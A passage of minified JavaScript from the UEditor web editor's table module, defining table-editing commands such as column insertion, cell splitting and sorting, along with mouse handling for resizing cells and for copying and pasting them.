- d.cellsRange,s=0,t=f.endColIndex-f.beginColIndex+1;s<t;s++)d.insertCol(f.beginColIndex,a);else d.insertCol(f.colIndex,a);c.moveToBookmark(e).select(!0)}}};UE.commands.insertcolnext={queryCommandState:function(){var a=b(this);return a.cell&&h(a.table).colsNum<this.options.maxColNum?0:-1},execCommand:function(){var a=this.selection.getRange(),c=a.createBookmark(!0),e=b(this).cell,d=h(e),f=d.getCellInfo(e);if(d.selectedTds.length)for(var f=d.cellsRange,s=0,t=f.endColIndex-f.beginColIndex+1;s<t;s++)d.insertCol(f.endColIndex+
- 1,e);else d.insertCol(f.colIndex+f.colSpan,e);a.moveToBookmark(c).select()}};UE.commands.deletecol={queryCommandState:function(){if(!b(this).cell)return-1},execCommand:function(){var a=b(this).cell,c=h(a),d=c.cellsRange,f=c.getCellInfo(a),m=c.getHSideCell(a),s=c.getHSideCell(a,!0);if(p.isEmptyObject(d))c.deleteCol(f.colIndex);else for(f=d.beginColIndex;f<d.endColIndex+1;f++)c.deleteCol(d.beginColIndex);c=c.table;d=this.selection.getRange();c.getElementsByTagName("td").length?e.inDoc(a,this.document)?
- d.setStart(a,0).setCursor(!1,!0):s&&e.inDoc(s,this.document)?d.selectNodeContents(s).setCursor(!1,!0):m&&e.inDoc(m,this.document)&&d.selectNodeContents(m).setCursor(!0,!0):(a=c.nextSibling,e.remove(c),a&&d.setStart(a,0).setCursor(!1,!0))}};UE.commands.splittocells={queryCommandState:function(){var a=b(this),c=a.cell;return!c||0<h(a.table).selectedTds.length?-1:c&&(1<c.colSpan||1<c.rowSpan)?0:-1},execCommand:function(){var a=this.selection.getRange(),c=a.createBookmark(!0),e=b(this).cell;h(e).splitToCells(e);
- a.moveToBookmark(c).select()}};UE.commands.splittorows={queryCommandState:function(){var a=b(this),c=a.cell;return!c||0<h(a.table).selectedTds.length?-1:c&&1<c.rowSpan?0:-1},execCommand:function(){var a=this.selection.getRange(),c=a.createBookmark(!0),e=b(this).cell;h(e).splitToRows(e);a.moveToBookmark(c).select()}};UE.commands.splittocols={queryCommandState:function(){var a=b(this),c=a.cell;return!c||0<h(a.table).selectedTds.length?-1:c&&1<c.colSpan?0:-1},execCommand:function(){var a=this.selection.getRange(),
- c=a.createBookmark(!0),e=b(this).cell;h(e).splitToCols(e);a.moveToBookmark(c).select()}};UE.commands.adaptbytext=UE.commands.adaptbywindow={queryCommandState:function(){return b(this).table?0:-1},execCommand:function(a){var c=b(this).table;c&&("adaptbywindow"==a?f(c,this):(a=e.getElementsByTagName(c,"td th"),p.each(a,function(a){a.removeAttribute("width")}),c.removeAttribute("width")))}};UE.commands.averagedistributecol={queryCommandState:function(){var a=c.getUETableBySelected(this);return a?a.isFullRow()||
- a.isFullCol()?0:-1:-1},execCommand:function(a){function b(){var a=h.table,e=0,d=0,g=c.getDefaultValue(f,a);if(h.isFullRow())e=a.offsetWidth,d=h.colsNum;else for(var a=h.cellsRange.endColIndex,l,k=h.cellsRange.beginColIndex;k<=a;)l=h.selectedTds[k],e+=l.offsetWidth,k+=l.colSpan,d+=1;return Math.ceil(e/d)-2*g.tdBorder-2*g.tdPadding}function d(a){p.each(e.getElementsByTagName(h.table,"th"),function(a){a.setAttribute("width","")});var b=h.isFullRow()?e.getElementsByTagName(h.table,"td"):h.selectedTds;
- p.each(b,function(b){1==b.colSpan&&b.setAttribute("width",a)})}var f=this,h=c.getUETableBySelected(f);h&&h.selectedTds.length&&d(b())}};UE.commands.averagedistributerow={queryCommandState:function(){var a=c.getUETableBySelected(this);return!a||a.selectedTds&&/th/ig.test(a.selectedTds[0].tagName)?-1:a.isFullRow()||a.isFullCol()?0:-1},execCommand:function(a){function b(){var a,d=0;a=h.table;var g=c.getDefaultValue(f,a),l=parseInt(e.getComputedStyle(a.getElementsByTagName("td")[0],"padding-top"));if(h.isFullCol()){var d=
- e.getElementsByTagName(a,"caption"),k=e.getElementsByTagName(a,"th"),p,q;0<d.length&&(p=d[0].offsetHeight);0<k.length&&(q=k[0].offsetHeight);d=a.offsetHeight-(p||0)-(q||0);a=0==k.length?h.rowsNum:h.rowsNum-1}else{q=h.cellsRange.beginRowIndex;k=h.cellsRange.endRowIndex;p=0;for(a=e.getElementsByTagName(a,"tr");q<=k;q++)d+=a[q].offsetHeight,p+=1;a=p}return r.ie&&9>r.version?Math.ceil(d/a):Math.ceil(d/a)-2*g.tdBorder-2*l}function d(a){var b=h.isFullCol()?e.getElementsByTagName(h.table,"td"):h.selectedTds;
- p.each(b,function(b){1==b.rowSpan&&b.setAttribute("height",a)})}var f=this,h=c.getUETableBySelected(f);h&&h.selectedTds.length&&d(b())}};UE.commands.cellalignment={queryCommandState:function(){return b(this).table?0:-1},execCommand:function(a,b){var d=c.getUETableBySelected(this);d?p.each(d.selectedTds,function(a){e.setAttributes(a,b)}):(d=(d=this.selection.getStart())&&e.findParentByTagName(d,["td","th","caption"],!0),/caption/ig.test(d.tagName)?(d.style.textAlign=b.align,d.style.verticalAlign=b.vAlign):
- e.setAttributes(d,b),this.selection.getRange().setCursor(!0))},queryCommandValue:function(a){(a=b(this).cell)||(a=d(this)[0]);if(a){var c=UE.UETable.getUETable(a).selectedTds;!c.length&&(c=a);return UE.UETable.getTableCellAlignState(c)}return null}};UE.commands.tablealignment={queryCommandState:function(){return r.ie&&8>r.version?-1:b(this).table?0:-1},execCommand:function(a,b){var c=this.selection.getStart();(c=c&&e.findParentByTagName(c,["table"],!0))&&c.setAttribute("align",b)}};UE.commands.edittable=
- {queryCommandState:function(){return b(this).table?0:-1},execCommand:function(a,b){var c=this.selection.getRange();if(c=e.findParentByTagName(c.startContainer,"table"))c=e.getElementsByTagName(c,"td").concat(e.getElementsByTagName(c,"th"),e.getElementsByTagName(c,"caption")),p.each(c,function(a){a.style.borderColor=b})}};UE.commands.edittd={queryCommandState:function(){return b(this).table?0:-1},execCommand:function(a,b){var d=c.getUETableBySelected(this);if(d)p.each(d.selectedTds,function(a){a.style.backgroundColor=
- b});else if(d=(d=this.selection.getStart())&&e.findParentByTagName(d,["td","th","caption"],!0))d.style.backgroundColor=b}};UE.commands.sorttable={queryCommandState:function(){var a=b(this);if(!a.cell)return-1;for(var a=a.table.getElementsByTagName("td"),c=0,d;d=a[c++];)if(1!=d.rowSpan||1!=d.colSpan)return-1;return 0},execCommand:function(a,c){var d=this.selection.getRange(),e=d.createBookmark(!0),f=b(this),s=f.cell,f=h(f.table),s=f.getCellInfo(s);f.sortTable(s.cellIndex,c);d.moveToBookmark(e).select()}};
- UE.commands.enablesort=UE.commands.disablesort={queryCommandState:function(){return b(this).table?0:-1},execCommand:function(a){b(this).table.setAttribute("data-sort","enablesort"==a?"sortEnabled":"sortDisabled")}};UE.commands.settablebackground={queryCommandState:function(){return 1<d(this).length?0:-1},execCommand:function(a,b){var c;c=d(this);h(c[0]).setBackground(c,b)}};UE.commands.cleartablebackground={queryCommandState:function(){var a=d(this);if(!a.length)return-1;for(var b=0,c;c=a[b++];)if(""!==
- c.style.backgroundColor)return 0;return-1},execCommand:function(){var a=d(this);h(a[0]).removeBackground(a)}};UE.commands.interlacetable=UE.commands.uninterlacetable={queryCommandState:function(a){var c=b(this).table;if(!c)return-1;c=c.getAttribute("interlaced");return"interlacetable"==a?"enabled"===c?-1:0:c&&"disabled"!==c?0:-1},execCommand:function(a,c){var d=b(this).table;"interlacetable"==a?(d.setAttribute("interlaced","enabled"),this.fireEvent("interlacetable",d,c)):(d.setAttribute("interlaced",
- "disabled"),this.fireEvent("uninterlacetable",d))}}})();UE.plugins.table=function(){function f(b,c){a(b,"width",!0);a(b,"height",!0)}function a(a,b,c){a.style[b]&&(c&&a.setAttribute(b,parseInt(a.style[b],10)),a.style[b]="")}function d(a){if("TD"==a.tagName||"TH"==a.tagName)return a;var b;return(b=e.findParentByTagName(a,"td",!0)||e.findParentByTagName(a,"th",!0))?b:null}function c(a){var b=RegExp(e.fillChar,"g");if(0<a[r.ie?"innerText":"textContent"].replace(/^\s*$/,"").replace(b,"").length)return 0;
- for(var c in w.$isNotEmpty)if(a.getElementsByTagName(c).length)return 0;return 1}function b(a){return a.pageX||a.pageY?{x:a.pageX,y:a.pageY}:{x:a.clientX+y.document.body.scrollLeft-y.document.body.clientLeft,y:a.clientY+y.document.body.scrollTop-y.document.body.clientTop}}function h(a){if(!W())try{var c=d(a.target||a.srcElement),f;da&&(y.body.style.webkitUserSelect="none",Math.abs(Z.x-a.clientX)>ca||Math.abs(Z.y-a.clientY)>ca)&&(q(),da=!1,P=0,C(a));if(T&&Q)if(P=0,y.body.style.webkitUserSelect="none",
- y.selection.getNative()[r.ie?"empty":"removeAllRanges"](),f=b(a),n(y,!0,T,f,c),"h"==T){var h=R.style,k;var c=Q,s=N(c);if(s){var t=s.getSameEndPosCells(c,"x")[0],v=s.getSameStartPosXCells(c)[0],u=b(a).x,p=(t?e.getXY(t).x:e.getXY(s.table).x)+20,x=v?e.getXY(v).x+v.offsetWidth-20:y.body.offsetWidth+5||parseInt(e.getComputedStyle(y.body,"width"),10),p=p+V,x=x-V;k=u<p?p:u>x?x:u}else k=void 0;h.left=k+"px"}else{if("v"==T){var w=R.style,M;a:{try{var z=e.getXY(Q).y,A=b(a).y;M=A<z?z:A;break a}catch(F){}M=void 0}w.top=
- M+"px"}}else if(c){if(!0!==y.fireEvent("excludetable",c)){f=b(a);var $=m(c,f),ea=e.findParentByTagName(c,"table",!0);l(ea,c,a,!0)?!0!==y.fireEvent("excludetable",ea)&&(y.body.style.cursor="url("+y.options.cursorpath+"h.png),pointer"):l(ea,c,a)?!0!==y.fireEvent("excludetable",ea)&&(y.body.style.cursor="url("+y.options.cursorpath+"v.png),pointer"):(y.body.style.cursor="text",/\d/.test($)&&($=$.replace(/\d/,""),c=N(c).getPreviewCell(c,"v"==$)),n(y,c?!!$:!1,c?$:"",f,c))}}else g(!1,ea,y)}catch(B){}}function g(a,
- b,c){a?k(b,c):fa||setTimeout(function(){!fa&&I&&I.parentNode&&I.parentNode.removeChild(I)},2E3)}function k(a,b){function c(d,e){clearTimeout(f);f=setTimeout(function(){b.fireEvent("tableClicked",a,e)},300)}var d=e.getXY(a),g=a.ownerDocument;if(I&&I.parentNode)return I;I=g.createElement("div");I.contentEditable=!1;I.innerHTML="";I.style.cssText="width:15px;height:15px;background-image:url("+b.options.UEDITOR_HOME_URL+"dialogs/table/dragicon.png);position: absolute;cursor:move;top:"+(d.y-15)+"px;left:"+
- d.x+"px;";e.unSelectable(I);I.onmouseover=function(a){fa=!0};I.onmouseout=function(a){fa=!1};e.on(I,"click",function(a,b){c(b,this)});e.on(I,"dblclick",function(c,d){clearTimeout(f);var e=N(a),g=a.rows[0].cells[0],l=e.getLastCell(),l=e.getCellsRange(g,l);b.selection.getRange().setStart(g,0).setCursor(!1,!0);e.setSelected(l)});e.on(I,"dragstart",function(a,b){e.preventDefault(b)});var f;g.body.appendChild(I)}function l(a,c,d,g){d=b(d);c=m(c,d);return g?(g=(g=a.getElementsByTagName("caption")[0])?g.offsetHeight:
- 0,"v1"==c&&8>d.y-e.getXY(a).y-g):"h1"==c&&8>d.x-e.getXY(a).x}function n(a,b,c,d,e){try{a.body.style.cursor="h"==c?"col-resize":"v"==c?"row-resize":"text",r.ie&&(!c||aa||G.getUETableBySelected(a)?J(a):(Y(a,a.document),la(c,e))),ka=b}catch(g){}}function m(a,b){var c=e.getXY(a);return c?c.x+a.offsetWidth-b.x<ga?"h":b.x-c.x<ga?"h1":c.y+a.offsetHeight-b.y<ga?"v":b.y-c.y<ga?"v1":"":""}function s(a,b){if(!W())if(Z={x:b.clientX,y:b.clientY},2==b.button){var c=G.getUETableBySelected(y),d=!1;if(c){var g=X(y,
- b);p.each(c.selectedTds,function(a){a===g&&(d=!0)});d?(g=c.selectedTds[0],setTimeout(function(){y.selection.getRange().setStart(g,0).setCursor(!1,!0)},0)):(ha(e.getElementsByTagName(y.body,"th td")),c.clearSelected())}}else u(b)}function t(a){P=0;a=a||y.window.event;var c=d(a.target||a.srcElement);if(c){var g;if(g=m(c,b(a)))if(J(y),"h1"==g&&(g="h",l(e.findParentByTagName(c,"table"),c,a)?y.execCommand("adaptbywindow"):(c=N(c).getPreviewCell(c))&&y.selection.getRange().selectNodeContents(c).setCursor(!0,
- !0)),"h"==g){a=N(c);var f=z(c,a.table,!0),f=x(f,"left");a.width=a.offsetWidth;var h=[],k=[];p.each(f,function(a){h.push(a.offsetWidth)});p.each(f,function(a){a.removeAttribute("width")});window.setTimeout(function(){var a=!0;p.each(f,function(b,c){var d=b.offsetWidth;if(d>h[c])return a=!1;k.push(d)});var b=a?k:h;p.each(f,function(a,c){a.width=b[c]-A()})},0)}}}function u(a){ha(e.getElementsByTagName(y.body,"td th"));p.each(y.document.getElementsByTagName("table"),function(a){a.ueTable=null});if(L=
- X(y,a)){var b=e.findParentByTagName(L,"table",!0);(ut=N(b))&&ut.clearSelected();ka?v(a):(y.document.body.style.webkitUserSelect="",aa=!0,y.addListener("mouseover",E))}}function v(a){r.ie&&(a=M(a));q();da=!0;ia=setTimeout(function(){C(a)},ma)}function x(a,b){for(var c=[],d=null,e=0,g=a.length;e<g;e++)(d=a[e][b])&&c.push(d);return c}function q(){ia&&clearTimeout(ia);ia=null}function M(a){var b="pageX pageY clientX clientY srcElement target".split(" "),c={};if(a)for(var d=0,e,g;e=b[d];d++)(g=a[e])&&
- (c[e]=g);return c}function C(a){da=!1;L&&(a=Math.abs(Z.x-a.clientX)>=Math.abs(Z.y-a.clientY)?"h":"v",/\d/.test(a)&&(a=a.replace(/\d/,""),L=N(L).getPreviewCell(L,"v"==a)),J(y),Y(y,y.document),y.fireEvent("saveScene"),la(a,L),aa=!0,T=a,Q=L)}function F(a,b){if(!W()){q();da=!1;if(ka&&(P=++P%3,Z={x:b.clientX,y:b.clientY},setTimeout(function(){0<P&&P--},ma),2===P)){P=0;t(b);return}if(2!=b.button){var c=this.selection.getRange(),d=e.findParentByTagName(c.startContainer,"table",!0),g=e.findParentByTagName(c.endContainer,
- "table",!0);if(d||g)d===g?(d=e.findParentByTagName(c.startContainer,["td","th","caption"],!0),g=e.findParentByTagName(c.endContainer,["td","th","caption"],!0),d!==g&&this.selection.clearRange()):this.selection.clearRange();aa=!1;this.document.body.style.webkitUserSelect="";if(T&&Q){this.selection.getNative()[r.ie?"empty":"removeAllRanges"]();P=0;R=this.document.getElementById("ue_tableDragLine");c=e.getXY(Q);d=e.getXY(R);switch(T){case "h":oa(Q,d.x-c.x);break;case "v":S(Q,d.y-c.y-Q.offsetHeight)}T=
- "";Q=null;J(this);this.fireEvent("saveScene")}else{if(L)(d=(c=N(L))?c.selectedTds[0]:null)?(c=new K.Range(this.document),e.isEmptyBlock(d)?c.setStart(d,0).setCursor(!1,!0):c.selectNodeContents(d).shrinkBoundary().setCursor(!1,!0)):(c=this.selection.getRange().shrinkBoundary(),c.collapsed||(d=e.findParentByTagName(c.startContainer,["td","th"],!0),g=e.findParentByTagName(c.endContainer,["td","th"],!0),(d&&!g||!d&&g||d&&g&&d!==g)&&c.setCursor(!1,!0))),L=null,this.removeListener("mouseover",E);else if((d=
- e.findParentByTagName(b.target||b.srcElement,"td",!0))||(d=e.findParentByTagName(b.target||b.srcElement,"th",!0)),d&&("TD"==d.tagName||"TH"==d.tagName)){if(!0===this.fireEvent("excludetable",d))return;c=new K.Range(this.document);c.setStart(d,0).setCursor(!1,!0)}this._selectionChange(250,b)}}}}function E(a,b){if(!W()){var c=b.target||b.srcElement;U=e.findParentByTagName(c,"td",!0)||e.findParentByTagName(c,"th",!0);if(L&&U&&("TD"==L.tagName&&"TD"==U.tagName||"TH"==L.tagName&&"TH"==U.tagName)&&e.findParentByTagName(L,
- "table")==e.findParentByTagName(U,"table"))if(c=N(U),L!=U){this.document.body.style.webkitUserSelect="none";this.selection.getNative()[r.ie?"empty":"removeAllRanges"]();var d=c.getCellsRange(L,U);c.setSelected(d)}else this.document.body.style.webkitUserSelect="",c.clearSelected();b.preventDefault?b.preventDefault():b.returnValue=!1}}function oa(a,b){var c=N(a);if(c){var c=c.table,d=z(a,c);c.style.width="";c.removeAttribute("width");b=H(b,a,d);a.nextSibling?p.each(d,function(a){a.left.width=+a.left.width+
- b;a.right&&(a.right.width=+a.right.width-b)}):p.each(d,function(a){a.left.width-=-b})}}function W(){return"false"===y.body.contentEditable}function S(a,b){if(!(10>Math.abs(b))){var c=N(a);if(c)for(var c=c.getSameEndPosCells(a,"y"),d=c[0]?c[0].offsetHeight:0,g=0,f;f=c[g++];){var l=b,h=d,k=parseInt(e.getComputedStyle(f,"line-height"),10),l=h+l,l=l<k?k:l;f.style.height&&(f.style.height="");1==f.rowSpan?f.setAttribute("height",l):f.removeAttribute&&f.removeAttribute("height")}}}function z(a,b,c){b||(b=
- e.findParentByTagName(a,"table"));if(!b)return null;e.getNodeIndex(a);b=b.rows;for(var d=0;a;)1===a.nodeType&&(d+=a.colSpan||1),a=a.previousSibling;a=null;var g=[];p.each(b,function(a){var b=0;p.each(a.cells,function(a){b+=a.colSpan||1;if(b===d)return g.push({left:a,right:a.nextSibling||null}),!1;if(b>d)return c&&g.push({left:a}),!1})});return g}function H(a,b,c){a-=A();if(0>a)return 0;a-=B(b);var d=0>a?"left":"right";a=Math.abs(a);p.each(c,function(b){(b=b[d])&&(a=Math.min(a,B(b)-V))});a=0>a?0:a;
- return"left"===d?-a:a}function B(a){var b=0,b=a.offsetWidth-A();if(!a.nextSibling){tab=e.findParentByTagName(a,"table",!1);if(void 0===tab.offsetVal){var c=a.previousSibling;tab.offsetVal=c?a.offsetWidth-c.offsetWidth===G.borderWidth?G.borderWidth:0:0}b-=tab.offsetVal}b=0>b?0:b;try{a.width=b}catch(d){}return b}function A(){if(void 0===G.tabcellSpace){var a=y.document.createElement("table"),b=y.document.createElement("tbody"),c=y.document.createElement("tr"),d=y.document.createElement("td"),e=null;
- d.style.cssText="border: 0;";d.width=1;c.appendChild(d);c.appendChild(e=d.cloneNode(!1));b.appendChild(c);a.appendChild(b);a.style.cssText="visibility: hidden;";y.body.appendChild(a);G.paddingSpace=d.offsetWidth-1;b=a.offsetWidth;d.style.cssText="";e.style.cssText="";G.borderWidth=(a.offsetWidth-b)/3;G.tabcellSpace=G.paddingSpace+G.borderWidth;y.body.removeChild(a)}A=function(){return G.tabcellSpace};return G.tabcellSpace}function Y(a,b){aa||(R=a.document.createElement("div"),e.setAttributes(R,{id:"ue_tableDragLine",
- unselectable:"on",contenteditable:!1,onresizestart:"return false",ondragstart:"return false",onselectstart:"return false",style:"background-color:blue;position:absolute;padding:0;margin:0;background-image:none;border:0px none;opacity:0;filter:alpha(opacity=0)"}),a.body.appendChild(R))}function J(a){if(!aa)for(var b;b=a.document.getElementById("ue_tableDragLine");)e.remove(b)}function la(a,b){if(b){var c=e.findParentByTagName(b,"table"),d=c.getElementsByTagName("caption"),g=c.offsetWidth,f=c.offsetHeight-
- (0<d.length?d[0].offsetHeight:0),c=e.getXY(c),l=e.getXY(b);switch(a){case "h":d="height:"+f+"px;top:"+(c.y+(0<d.length?d[0].offsetHeight:0))+"px;left:"+(l.x+b.offsetWidth);R.style.cssText=d+"px;position: absolute;display:block;background-color:blue;width:1px;border:0; color:blue;opacity:.3;filter:alpha(opacity=30)";break;case "v":d="width:"+g+"px;left:"+c.x+"px;top:"+(l.y+b.offsetHeight),R.style.cssText=d+"px;overflow:hidden;position: absolute;display:block;background-color:blue;height:1px;border:0;color:blue;opacity:.2;filter:alpha(opacity=20)"}}}
- function O(a,b){for(var c=e.getElementsByTagName(a.body,"table"),d,g=0,f;f=c[g++];)d=e.getElementsByTagName(f,"td"),d[0]&&(b?(d=d[0].style.borderColor.replace(/\s/g,""),/(#ffffff)|(rgb\(255,f55,255\))/ig.test(d)&&e.addClass(f,"noBorderTable")):e.removeClasses(f,"noBorderTable"))}function ba(a,b,c){var d=a.body;return d.offsetWidth-(b?2*parseInt(e.getComputedStyle(d,"margin-left"),10):0)-2*c.tableBorder-(a.options.offsetWidth||0)}function X(a,c){var d=e.findParentByTagName(c.target||c.srcElement,["td",
- "th"],!0),g=null;if(!d)return null;g=m(d,b(c));if(!d)return null;if("h1"===g&&d.previousSibling){var g=e.getXY(d),f=d.offsetWidth;Math.abs(g.x+f-c.clientX)>f/3&&(d=d.previousSibling)}else"v1"===g&&d.parentNode.previousSibling&&(g=e.getXY(d),f=d.offsetHeight,Math.abs(g.y+f-c.clientY)>f/3&&(d=d.parentNode.previousSibling.firstChild));return d&&!0!==a.fireEvent("excludetable",d)?d:null}var y=this,ia=null,V=5,da=!1,ga=5,ca=10,P=0,Z=null,ma=360,G=UE.UETable,N=function(a){return G.getUETable(a)},ha=function(a){return G.removeSelectedClass(a)};
- y.ready(function(){var a=this,b=a.selection.getText;a.selection.getText=function(){var c=G.getUETableBySelected(a);if(c){var d="";p.each(c.selectedTds,function(a){d+=a[r.ie?"innerText":"textContent"]});return d}return b.call(a.selection)}});var L=null,U=null,T="",ka=!1,I=null,fa=!1,R=null,Q=null,aa=!1;y.setOpt({maxColNum:20,maxRowNum:100,defaultCols:5,defaultRows:5,tdvalign:"top",cursorpath:y.options.UEDITOR_HOME_URL+"themes/default/images/cursor_",tableDragable:!1,classList:["ue-table-interlace-color-single",
- "ue-table-interlace-color-double"]});y.getUETable=N;var ja={deletetable:1,inserttable:1,cellvalign:1,insertcaption:1,deletecaption:1,inserttitle:1,deletetitle:1,mergeright:1,mergedown:1,mergecells:1,insertrow:1,insertrownext:1,deleterow:1,insertcol:1,insertcolnext:1,deletecol:1,splittocells:1,splittorows:1,splittocols:1,adaptbytext:1,adaptbywindow:1,adaptbycustomer:1,insertparagraph:1,insertparagraphbeforetable:1,averagedistributecol:1,averagedistributerow:1};y.ready(function(){p.cssRule("table",
- ".selectTdClass{background-color:#edf5fa !important}table.noBorderTable td,table.noBorderTable th,table.noBorderTable caption{border:1px dashed #ddd !important}table{margin-bottom:10px;border-collapse:collapse;display:table;}td,th{padding: 5px 10px;border: 1px solid #DDD;}caption{border:1px dashed #DDD;border-bottom:0;padding:3px;text-align:center;}th{border-top:2px solid #BBB;background:#F7F7F7;}.ue-table-interlace-color-single{ background-color: #fcfcfc; } .ue-table-interlace-color-double{ background-color: #f7faff; }td p{margin:0;padding:0;}",
- y.document);var a,b,k;y.addListener("keydown",function(d,g){var f=g.keyCode||g.which;if(8==f){var l=G.getUETableBySelected(this);l&&l.selectedTds.length&&(l.isFullCol()?this.execCommand("deletecol"):l.isFullRow()?this.execCommand("deleterow"):this.fireEvent("delcells"),e.preventDefault(g));var h=e.findParentByTagName(this.selection.getStart(),"caption",!0),m=this.selection.getRange();m.collapsed&&(h&&c(h))&&(this.fireEvent("saveScene"),l=h.parentNode,e.remove(h),l&&m.setStart(l.rows[0].cells[0],0).setCursor(!1,
- !0),this.fireEvent("saveScene"))}if(46==f&&(l=G.getUETableBySelected(this))){this.fireEvent("saveScene");for(h=0;m=l.selectedTds[h++];)e.fillNode(this.document,m);this.fireEvent("saveScene");e.preventDefault(g)}if(13==f){f=this.selection.getRange();if(h=e.findParentByTagName(f.startContainer,"caption",!0)){l=e.findParentByTagName(h,"table");f.collapsed?h&&f.setStart(l.rows[0].cells[0],0).setCursor(!1,!0):(f.deleteContents(),this.fireEvent("saveScene"));e.preventDefault(g);return}f.collapsed&&(l=e.findParentByTagName(f.startContainer,
- "table"))&&(m=l.rows[0].cells[0],h=e.findParentByTagName(this.selection.getStart(),["td","th"],!0),l=l.previousSibling,m===h&&(!l||1==l.nodeType&&"TABLE"==l.tagName)&&e.isStartInblock(f)&&(f=e.findParent(this.selection.getStart(),function(a){return e.isBlockElm(a)},!0))&&(/t(h|d)/i.test(f.tagName)||f===h.firstChild)&&(this.execCommand("insertparagraphbeforetable"),e.preventDefault(g)))}if((g.ctrlKey||g.metaKey)&&"67"==g.keyCode&&(a=null,l=G.getUETableBySelected(this)))for(f=l.selectedTds,b=l.isFullCol(),
- k=l.isFullRow(),a=[[l.cloneCell(f[0],null,!0)]],h=1;m=f[h];h++)m.parentNode!==f[h-1].parentNode?a.push([l.cloneCell(m,null,!0)]):a[a.length-1].push(l.cloneCell(m,null,!0))});y.addListener("tablehasdeleted",function(){n(this,!1,"",null);I&&e.remove(I)});y.addListener("beforepaste",function(d,g){var l=this,h=l.selection.getRange();if(e.findParentByTagName(h.startContainer,"caption",!0))h=l.document.createElement("div"),h.innerHTML=g.html,g.html=h[r.ie?"innerText":"textContent"];else{var m=G.getUETableBySelected(l);
- if(a){l.fireEvent("saveScene");var h=l.selection.getRange(),n=e.findParentByTagName(h.startContainer,["td","th"],!0),s,t;if(n){m=N(n);if(k){var v=m.getCellInfo(n).rowIndex;"TH"==n.tagName&&v++;for(var h=0,u;u=a[h++];){t=m.insertRow(v++,"td");for(var x=0,q;q=u[x];x++)(n=t.cells[x])||(n=t.insertCell(x)),n.innerHTML=q.innerHTML,q.getAttribute("width")&&n.setAttribute("width",q.getAttribute("width")),q.getAttribute("vAlign")&&n.setAttribute("vAlign",q.getAttribute("vAlign")),q.getAttribute("align")&&
- n.setAttribute("align",q.getAttribute("align")),q.style.cssText&&(n.style.cssText=q.style.cssText);for(x=0;(q=t.cells[x])&&u[x];x++)q.innerHTML=u[x].innerHTML,u[x].getAttribute("width")&&q.setAttribute("width",u[x].getAttribute("width")),u[x].getAttribute("vAlign")&&q.setAttribute("vAlign",u[x].getAttribute("vAlign")),u[x].getAttribute("align")&&q.setAttribute("align",u[x].getAttribute("align")),u[x].style.cssText&&(q.style.cssText=u[x].style.cssText)}}else{if(b){v=m.getCellInfo(n);x=n=0;for(u=a[0];q=
- u[x++];)n+=q.colSpan||1;l.__hasEnterExecCommand=!0;for(h=0;h<n;h++)l.execCommand("insertcol");l.__hasEnterExecCommand=!1;n=m.table.rows[0].cells[v.cellIndex];"TH"==n.tagName&&(n=m.table.rows[1].cells[v.cellIndex])}for(h=0;u=a[h++];){s=n;for(x=0;q=u[x++];)n?(n.innerHTML=q.innerHTML,q.getAttribute("width")&&n.setAttribute("width",q.getAttribute("width")),q.getAttribute("vAlign")&&n.setAttribute("vAlign",q.getAttribute("vAlign")),q.getAttribute("align")&&n.setAttribute("align",q.getAttribute("align")),
- q.style.cssText&&(n.style.cssText=q.style.cssText),t=n,n=n.nextSibling):(v=q.cloneNode(!0),e.removeAttributes(v,["class","rowSpan","colSpan"]),t.parentNode.appendChild(v));n=m.getNextCell(s,!0,!0);if(!a[h])break;n||(v=m.getCellInfo(s),m.table.insertRow(m.table.rows.length),m.update(),n=m.getVSideCell(s,!0))}}m.update()}else{m=l.document.createElement("table");for(h=0;u=a[h++];){t=m.insertRow(m.rows.length);for(x=0;q=u[x++];)v=G.cloneCell(q,null,!0),e.removeAttributes(v,["class"]),t.appendChild(v);
- 2==x&&1<v.rowSpan&&(v.rowSpan=1)}h=G.getDefaultValue(l,void 0);h=l.body.offsetWidth-2*parseInt(e.getComputedStyle(l.body,"margin-left"),10)-2*h.tableBorder-(l.options.offsetWidth||0);l.execCommand("insertHTML","<table "+(b&&k?'width="'+h+'"':"")+">"+m.innerHTML.replace(/>\s*</g,"><").replace(/\bth\b/gi,"td")+"</table>")}l.fireEvent("contentchange");l.fireEvent("saveScene");g.html="";return!0}h=l.document.createElement("div");h.innerHTML=g.html;u=h.getElementsByTagName("table");e.findParentByTagName(l.selection.getStart(),
- "table")?(p.each(u,function(a){e.remove(a)}),e.findParentByTagName(l.selection.getStart(),"caption",!0)&&(h.innerHTML=h[r.ie?"innerText":"textContent"])):p.each(u,function(a){f(a,!0);e.removeAttributes(a,["style","border"]);p.each(e.getElementsByTagName(a,"td"),function(a){c(a)&&e.fillNode(l.document,a);f(a,!0)})});g.html=h.innerHTML}});y.addListener("afterpaste",function(){p.each(e.getElementsByTagName(y.body,"table"),function(a){if(a.offsetWidth>y.body.offsetWidth){var b=G.getDefaultValue(y,a);
- a.style.width=y.body.offsetWidth-2*parseInt(e.getComputedStyle(y.body,"margin-left"),10)-2*b.tableBorder-(y.options.offsetWidth||0)+"px"}})});y.addListener("blur",function(){a=null});var m;y.addListener("keydown",function(){clearTimeout(m);m=setTimeout(function(){var a=y.selection.getRange();if(a=e.findParentByTagName(a.startContainer,["th","td"],!0)){var b=a.parentNode.parentNode.parentNode;b.offsetWidth>b.getAttribute("width")&&(a.style.wordBreak="break-all")}},100)});y.addListener("selectionchange",
- function(){n(y,!1,"",null)});y.addListener("contentchange",function(){var a=this;J(a);if(!G.getUETableBySelected(a)){var b=a.selection.getRange().startContainer,b=e.findParentByTagName(b,["td","th"],!0);p.each(e.getElementsByTagName(a.document,"table"),function(c){!0!==a.fireEvent("excludetable",c)&&(c.ueTable=new G(c),p.each(e.getElementsByTagName(a.document,"td"),function(c){e.isEmptyBlock(c)&&c!==b&&(e.fillNode(a.document,c),r.ie&&6==r.version&&(c.innerHTML=" "))}),p.each(e.getElementsByTagName(a.document,
- "th"),function(c){e.isEmptyBlock(c)&&c!==b&&(e.fillNode(a.document,c),r.ie&&6==r.version&&(c.innerHTML=" "))}),c.onmouseover=function(){a.fireEvent("tablemouseover",c)},c.onmousemove=function(){a.fireEvent("tablemousemove",c);a.options.tableDragable&&g(!0,this,a)},c.onmouseout=function(){a.fireEvent("tablemouseout",c);n(a,!1,"",null);J(a)},c.onclick=function(b){b=a.window.event||b;var c=d(b.target||b.srcElement);if(c){var e=N(c),g=e.table,f=e.getCellInfo(c),h=a.selection.getRange();l(g,c,b,!0)?
